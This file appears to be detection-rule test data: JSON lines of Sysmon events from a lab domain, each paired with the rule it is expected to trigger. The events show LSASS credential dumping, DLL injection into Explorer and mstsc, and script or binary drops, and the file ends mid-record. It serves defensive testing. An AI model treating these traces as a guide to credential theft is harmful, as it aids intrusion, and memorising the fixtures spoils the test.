7|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe+b5444|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNEL32.DLL+17034|C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+52651\"},\"system\":{\"eventID\":\"10\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process accessed:\\r\\nRuleName: technique_id=T1003,technique_name=Credential Dumping\\r\\nUtcTime: 2021-09-14 20:25:15.480\\r\\nSourceProcessGUID: {4dc16835-052b-6141-bc2f-ea0000000000}\\r\\nSourceProcessId: 6004\\r\\nSourceThreadId: 6716\\r\\nSourceImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe\\r\\nTargetProcessGUID: {4dc16835-31bc-6141-0b00-000000006500}\\r\\nTargetProcessId: 596\\r\\nTargetImage: C:\\\\Windows\\\\system32\\\\lsass.exe\\r\\nGrantedAccess: 0x1010\\r\\nCallTrace: C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d2e4|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c03e|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b11df|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b156a|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b1135|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+819e3|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+81826|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+815b7|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b5444|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651\\\"\",\"version\":\"3\",\"systemTime\":\"2021-09-14T20:25:15.4831107Z\",\"eventRecordID\":\"360656\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"10\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.callTrace": "C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d2e4|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c03e|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b11df|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b156a|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b1135|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+819e3|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+81826|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+815b7|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe+b5444|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651", "win.eventdata.grantedAccess": "0x1010", "win.eventdata.ruleName": "technique_id=T1003,technique_name=Credential Dumping", "win.eventdata.sourceImage": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe", "win.eventdata.sourceProcessGUID": "{4dc16835-052b-6141-bc2f-ea0000000000}", "win.eventdata.sourceProcessId": "6004", "win.eventdata.sourceThreadId": "6716", "win.eventdata.targetImage": "C:\\\\Windows\\\\system32\\\\lsass.exe", "win.eventdata.targetProcessGUID": "{4dc16835-31bc-6141-0b00-000000006500}", "win.eventdata.targetProcessId": "596", "win.eventdata.utcTime": "2021-09-14 20:25:15.480", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "10", "win.system.eventRecordID": "360656", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T20:25:15.4831107Z", "win.system.task": "10", "win.system.threadID": "3756", "win.system.version": "3"}, "field_names": ["win.eventdata.callTrace", "win.eventdata.grantedAccess", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGUID", "win.eventdata.sourceProcessId", "win.eventdata.sourceThreadId", "win.eventdata.targetImage", "win.eventdata.targetProcessGUID", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92900", "rule_matches_expected": false, "ini_file": "sysmon_eid_10.ini", "section": "credential dump"} +{"log": "{\"win\":{\"eventdata\":{\"sourceThreadId\":\"7540\",\"grantedAccess\":\"0x40\",\"targetProcessGUID\":\"{4dc16835-5620-6157-0c00-000000006d00}\",\"targetProcessId\":\"688\",\"utcTime\":\"2021-10-01 15:10:29.169\",\"ruleName\":\"technique_id=T1036,technique_name=Masquerading\",\"sourceProcessId\":\"2980\",\"sourceImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\lsass.exe\",\"sourceProcessGUID\":\"{4dc16835-24e4-6157-0c6b-3a0000000000}\",\"callTrace\":\"C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+9d234|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE.dll+2c0fe|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+8a65|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+8a12|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+11e45|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+a64df|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+a61d0|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+8103e|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+80ffa|C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\samcat.exe+b4d70|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNEL32.DLL+17034|C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+52651\"},\"system\":{\"eventID\":\"10\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process accessed:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-10-01 15:10:29.169\\r\\nSourceProcessGUID: {4dc16835-24e4-6157-0c6b-3a0000000000}\\r\\nSourceProcessId: 2980\\r\\nSourceThreadId: 7540\\r\\nSourceImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe\\r\\nTargetProcessGUID: {4dc16835-5620-6157-0c00-000000006d00}\\r\\nTargetProcessId: 688\\r\\nTargetImage: C:\\\\Windows\\\\system32\\\\lsass.exe\\r\\nGrantedAccess: 0x40\\r\\nCallTrace: C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8a65|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8a12|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+11e45|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+a64df|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+a61d0|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8103e|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+80ffa|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+b4d70|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651\\\"\",\"version\":\"3\",\"systemTime\":\"2021-10-01T15:10:29.5682759Z\",\"eventRecordID\":\"405873\",\"threadID\":\"3916\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"10\",\"processID\":\"2440\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.callTrace": "C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8a65|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8a12|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+11e45|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+a64df|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+a61d0|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+8103e|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+80ffa|C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe+b4d70|C:\\\\Windows\\\\System32\\\\KERNEL32.DLL+17034|C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+52651", "win.eventdata.grantedAccess": "0x40", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.sourceImage": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\samcat.exe", "win.eventdata.sourceProcessGUID": "{4dc16835-24e4-6157-0c6b-3a0000000000}", "win.eventdata.sourceProcessId": "2980", "win.eventdata.sourceThreadId": "7540", "win.eventdata.targetImage": "C:\\\\Windows\\\\system32\\\\lsass.exe", "win.eventdata.targetProcessGUID": "{4dc16835-5620-6157-0c00-000000006d00}", "win.eventdata.targetProcessId": "688", "win.eventdata.utcTime": "2021-10-01 15:10:29.169", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "10", "win.system.eventRecordID": "405873", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2440", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-01T15:10:29.5682759Z", "win.system.task": "10", "win.system.threadID": "3916", "win.system.version": "3"}, "field_names": ["win.eventdata.callTrace", "win.eventdata.grantedAccess", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGUID", "win.eventdata.sourceProcessId", "win.eventdata.sourceThreadId", "win.eventdata.targetImage", "win.eventdata.targetProcessGUID", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92900", "rule_matches_expected": false, "ini_file": "sysmon_eid_10.ini", "section": "credential dump 2"} +{"log": "{\"win\":{\"eventdata\":{\"sourceThreadId\":\"5960\",\"grantedAccess\":\"0x1410\",\"targetProcessGUID\":\"{4dc16835-0ceb-615e-5eda-090000000000}\",\"targetProcessId\":\"5108\",\"utcTime\":\"2021-10-06 21:13:40.604\",\"ruleName\":\"technique_id=T1055.001,technique_name=Dynamic-link Library Injection\",\"sourceProcessId\":\"3420\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\svchost.exe\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"sourceProcessGUID\":\"{4dc16835-0fed-615e-5923-390000000000}\",\"callTrace\":\"C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+9d234|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE.dll+2c0fe|UNKNOWN(000001F3F680C53A)\"},\"system\":{\"eventID\":\"10\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process accessed:\\r\\nRuleName: technique_id=T1055.001,technique_name=Dynamic-link Library Injection\\r\\nUtcTime: 2021-10-06 21:13:40.604\\r\\nSourceProcessGUID: {4dc16835-0fed-615e-5923-390000000000}\\r\\nSourceProcessId: 3420\\r\\nSourceThreadId: 5960\\r\\nSourceImage: C:\\\\Windows\\\\system32\\\\svchost.exe\\r\\nTargetProcessGUID: {4dc16835-0ceb-615e-5eda-090000000000}\\r\\nTargetProcessId: 5108\\r\\nTargetImage: C:\\\\Windows\\\\Explorer.EXE\\r\\nGrantedAccess: 0x1410\\r\\nCallTrace: C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|UNKNOWN(000001F3F680C53A)\\\"\",\"version\":\"3\",\"systemTime\":\"2021-10-06T21:13:40.6074613Z\",\"eventRecordID\":\"449201\",\"threadID\":\"3376\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"10\",\"processID\":\"2480\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.callTrace": "C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|UNKNOWN(000001F3F680C53A)", "win.eventdata.grantedAccess": "0x1410", "win.eventdata.ruleName": "technique_id=T1055.001,technique_name=Dynamic-link Library Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\system32\\\\svchost.exe", "win.eventdata.sourceProcessGUID": "{4dc16835-0fed-615e-5923-390000000000}", "win.eventdata.sourceProcessId": "3420", "win.eventdata.sourceThreadId": "5960", "win.eventdata.targetImage": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.targetProcessGUID": "{4dc16835-0ceb-615e-5eda-090000000000}", "win.eventdata.targetProcessId": "5108", "win.eventdata.utcTime": "2021-10-06 21:13:40.604", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "10", "win.system.eventRecordID": "449201", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2480", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-06T21:13:40.6074613Z", "win.system.task": "10", "win.system.threadID": "3376", "win.system.version": "3"}, "field_names": ["win.eventdata.callTrace", "win.eventdata.grantedAccess", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGUID", "win.eventdata.sourceProcessId", "win.eventdata.sourceThreadId", "win.eventdata.targetImage", "win.eventdata.targetProcessGUID", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92910", "rule_matches_expected": false, "ini_file": "sysmon_eid_10.ini", "section": "explorer injection"} +{"log": "{\"win\":{\"eventdata\":{\"sourceThreadId\":\"7944\",\"grantedAccess\":\"0x1410\",\"targetProcessGUID\":\"{4dc16835-13d3-615e-a46d-620000000000}\",\"targetProcessId\":\"4620\",\"utcTime\":\"2021-10-06 21:24:08.535\",\"ruleName\":\"technique_id=T1055.001,technique_name=Dynamic-link Library Injection\",\"sourceProcessId\":\"5108\",\"sourceImage\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"targetImage\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\mstsc.exe\",\"sourceProcessGUID\":\"{4dc16835-0ceb-615e-5eda-090000000000}\",\"callTrace\":\"C:\\\\\\\\Windows\\\\\\\\SYSTEM32\\\\\\\\ntdll.dll+9d234|C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\KERNELBASE.dll+2c0fe|UNKNOWN(00000000070AC53A)\"},\"system\":{\"eventID\":\"10\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process accessed:\\r\\nRuleName: technique_id=T1055.001,technique_name=Dynamic-link Library Injection\\r\\nUtcTime: 2021-10-06 21:24:08.535\\r\\nSourceProcessGUID: {4dc16835-0ceb-615e-5eda-090000000000}\\r\\nSourceProcessId: 5108\\r\\nSourceThreadId: 7944\\r\\nSourceImage: C:\\\\Windows\\\\Explorer.EXE\\r\\nTargetProcessGUID: {4dc16835-13d3-615e-a46d-620000000000}\\r\\nTargetProcessId: 4620\\r\\nTargetImage: C:\\\\Windows\\\\system32\\\\mstsc.exe\\r\\nGrantedAccess: 0x1410\\r\\nCallTrace: C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|UNKNOWN(00000000070AC53A)\\\"\",\"version\":\"3\",\"systemTime\":\"2021-10-06T21:24:08.5360585Z\",\"eventRecordID\":\"449974\",\"threadID\":\"3376\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"10\",\"processID\":\"2480\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.callTrace": "C:\\\\Windows\\\\SYSTEM32\\\\ntdll.dll+9d234|C:\\\\Windows\\\\System32\\\\KERNELBASE.dll+2c0fe|UNKNOWN(00000000070AC53A)", "win.eventdata.grantedAccess": "0x1410", "win.eventdata.ruleName": "technique_id=T1055.001,technique_name=Dynamic-link Library Injection", "win.eventdata.sourceImage": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.sourceProcessGUID": "{4dc16835-0ceb-615e-5eda-090000000000}", "win.eventdata.sourceProcessId": "5108", "win.eventdata.sourceThreadId": "7944", "win.eventdata.targetImage": "C:\\\\Windows\\\\system32\\\\mstsc.exe", "win.eventdata.targetProcessGUID": "{4dc16835-13d3-615e-a46d-620000000000}", "win.eventdata.targetProcessId": "4620", "win.eventdata.utcTime": "2021-10-06 21:24:08.535", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "10", "win.system.eventRecordID": "449974", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2480", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-06T21:24:08.5360585Z", "win.system.task": "10", "win.system.threadID": "3376", "win.system.version": "3"}, "field_names": ["win.eventdata.callTrace", "win.eventdata.grantedAccess", "win.eventdata.ruleName", "win.eventdata.sourceImage", "win.eventdata.sourceProcessGUID", "win.eventdata.sourceProcessId", "win.eventdata.sourceThreadId", "win.eventdata.targetImage", "win.eventdata.targetProcessGUID", "win.eventdata.targetProcessId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92920", "rule_matches_expected": false, "ini_file": "sysmon_eid_10.ini", "section": "windows RDP injection"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Users\\\\\\\\st9\\\\\\\\AppData\\\\\\\\Local\\\\\\\\adb156.exe\", \"processGuid\": \"{50263ab4-3306-6154-5101-000000000d00}\", \"processId\": \"6988\", \"utcTime\": \"2021-09-29 10:09:46.298\", \"targetFilename\": \"C:\\\\\\\\Users\\\\\\\\st9\\\\\\\\AppData\\\\\\\\Local\\\\\\\\stager.ps1\", \"ruleName\": \"technique_id=T1059.001,technique_name=PowerShell\", \"creationUtcTime\": \"2021-09-29 10:09:46.298\" }, \"system\": { \"eventID\": \"11\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"File created:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-09-29 10:09:46.298\\r\\nProcessGuid: {50263ab4-3306-6154-5101-000000000d00}\\r\\nProcessId: 6988\\r\\nImage: C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe\\r\\nTargetFilename: C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\stager.ps1\\r\\nCreationUtcTime: 2021-09-29 10:09:46.298\\\"\", \"version\": \"2\", \"systemTime\": \"2021-09-29T10:09:46.3002205Z\", \"eventRecordID\": \"18277\", \"threadID\": \"3400\", \"computer\": \"DESKTOP-P45R1DM\", \"task\": \"11\", \"processID\": \"2384\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-09-29 10:09:46.298", "win.eventdata.image": "C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\adb156.exe", "win.eventdata.processGuid": "{50263ab4-3306-6154-5101-000000000d00}", "win.eventdata.processId": "6988", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.targetFilename": "C:\\\\Users\\\\st9\\\\AppData\\\\Local\\\\stager.ps1", "win.eventdata.utcTime": "2021-09-29 10:09:46.298", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-P45R1DM", "win.system.eventID": "11", "win.system.eventRecordID": "18277", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2384", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-29T10:09:46.3002205Z", "win.system.task": "11", "win.system.threadID": "3400", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92200", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Scripting file created under system or User folder"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"System\",\"processGuid\":\"{86107A5D-0B6A-60D6-EB03-000000000000}\",\"processId\":\"4\",\"utcTime\":\"2021-06-25 18:09:57.530\",\"targetFilename\":\"C:\\\\\\\\Windows\\\\\\\\tiny.exe\",\"creationUtcTime\":\"2021-06-24 23:36:43.555\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-06-25 18:09:57.530\\r\\nProcessGuid: {86107A5D-0B6A-60D6-EB03-000000000000}\\r\\nProcessId: 4\\r\\nImage: System\\r\\nTargetFilename: C:\\\\Windows\\\\tiny.exe\\r\\nCreationUtcTime: 2021-06-24 23:36:43.555\\\"\",\"version\":\"2\",\"systemTime\":\"2021-06-25T18:09:57.530600200Z\",\"eventRecordID\":\"647283\",\"threadID\":\"3784\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"11\",\"processID\":\"2620\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.creationUtcTime": "2021-06-24 23:36:43.555", "win.eventdata.image": "System", "win.eventdata.processGuid": "{86107A5D-0B6A-60D6-EB03-000000000000}", "win.eventdata.processId": "4", "win.eventdata.targetFilename": "C:\\\\Windows\\\\tiny.exe", "win.eventdata.utcTime": "2021-06-25 18:09:57.530", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "11", "win.system.eventRecordID": "647283", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2620", "win.system.providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-06-25T18:09:57.530600200Z", "win.system.task": "11", "win.system.threadID": "3784", "win.system.version": "2"}, "field_names": ["win.eventdata.creationUtcTime", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92218", "rule_matches_expected": false, "ini_file": "sysmon_eid_11.ini", "section": "Possible abuse of Windows admin shares by binary dropped in Windows root folder by system process."} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"processGuid\":\"{4dc16835-1e3a-6157-a82a-160000000000}\",\"processId\":\"7644\",\"utcTime\":\"2021-10-01 14:48:12.284\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\samcat.exe\",\"creationUtcTime\":\"2021-10-01 14:48:12.284\"},\"system\":{\"eventID\":\"11\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File created:\\r\\nRuleName: -\\r\\nUtcTime: 2021-10-01 14:48:12.284\\r\\nProcessGuid: {4dc16835-1e3a-6157-a82a-160000000000}\\r\\nProcessId: 7644\\r\\nImage: 